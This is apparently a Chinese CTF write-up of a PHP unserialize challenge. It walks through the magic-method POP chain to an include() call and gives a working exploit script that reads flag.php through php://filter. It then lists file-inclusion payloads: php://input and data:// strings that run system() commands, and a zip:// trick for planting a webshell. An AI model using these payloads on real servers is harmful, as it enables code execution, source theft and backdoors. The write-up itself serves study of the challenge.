首先源代码如下
<?php class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file=‘index.php‘){ $this->source = $file; echo ‘Welcome to ‘.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET[‘pop‘])){ @unserialize($_GET[‘pop‘]); } else{ $a=new Show; highlight_file(__FILE__); } ?>
首先找到利用点
public function append($value){ include($value); }
找到了include()
这里补充一下常用的PHP魔术方法,这道题考察的就是魔术方法的互相调用
__sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发
然后找参数从哪里传过来的
public function __invoke(){ $this->append($this->var); }
$var就是可以传参数的地方
那么怎么才能调用__invoke()呢
发现
public function __get($key){ $function = $this->p; return $function(); }
如果将$this->p传递为class Modifier的对象就会自动出发__invoke()
那么又如如何调用__get()呢
发现
public function __toString(){ return $this->str->source; }
如果将$str传参为Test的对象,Test中没有source方法就会调用__get()
那么又如何调用__toString()呢
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; }
如果source是Show的对象就会自动调用__toString()
而__wakeup()是自动调用的,整个链条就形成了
__wake() => __toString() => __get() => __invoke() =>include(flag.txt)
开始写exp:
<?php class Modifier{ protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; } class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; } } class Test{ public $p; } $a=new Show(‘a‘); $a->str=new Test(); $a->str->p=new Modifier(); $b=new Show($a); echo urlencode(serialize($b)); ?>
这里有一个小疑问记录一下:
问题
就是为什么include()函数要用php伪协议去读文件呢,include()本身不就可以读文件的嘛,我之前写exp时没有用伪协议,所以没有读出文件
解决
这就是我对include()这个函数理解的不够出深入造成的,include()这个函数除了读取文件还会执行文件内容,所以需要用伪协议进行base64编码才能显示文件的内容,否则就会被php解释器执行而不会输出到前端
延伸
php://filter 读取文件源码 php://input 任意代码执行 data://text/plain 任意代码执行 zip:// 配合文件上传开启后门
专题学习一下php伪协议的各种利用姿势
PHP://filter
php://filter 协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码
?url=php://filter/read=convert.base64-encode/resource=index.php
PHP://input
php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctype=multipart/form-data时,php:/input将会无效
?url=php://input -- GET请求参数中使用php://input协议 <?php system(‘ls‘); ?> -- post请求体中的内容会被当做文件内容执行
Data://
协议格式: data:资源类型;编码,内容
data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行
?url=data://text/plain,<?php system(‘id‘) ?>
ZIP://
ziip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell
将shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马
?url=zip://shell.jpg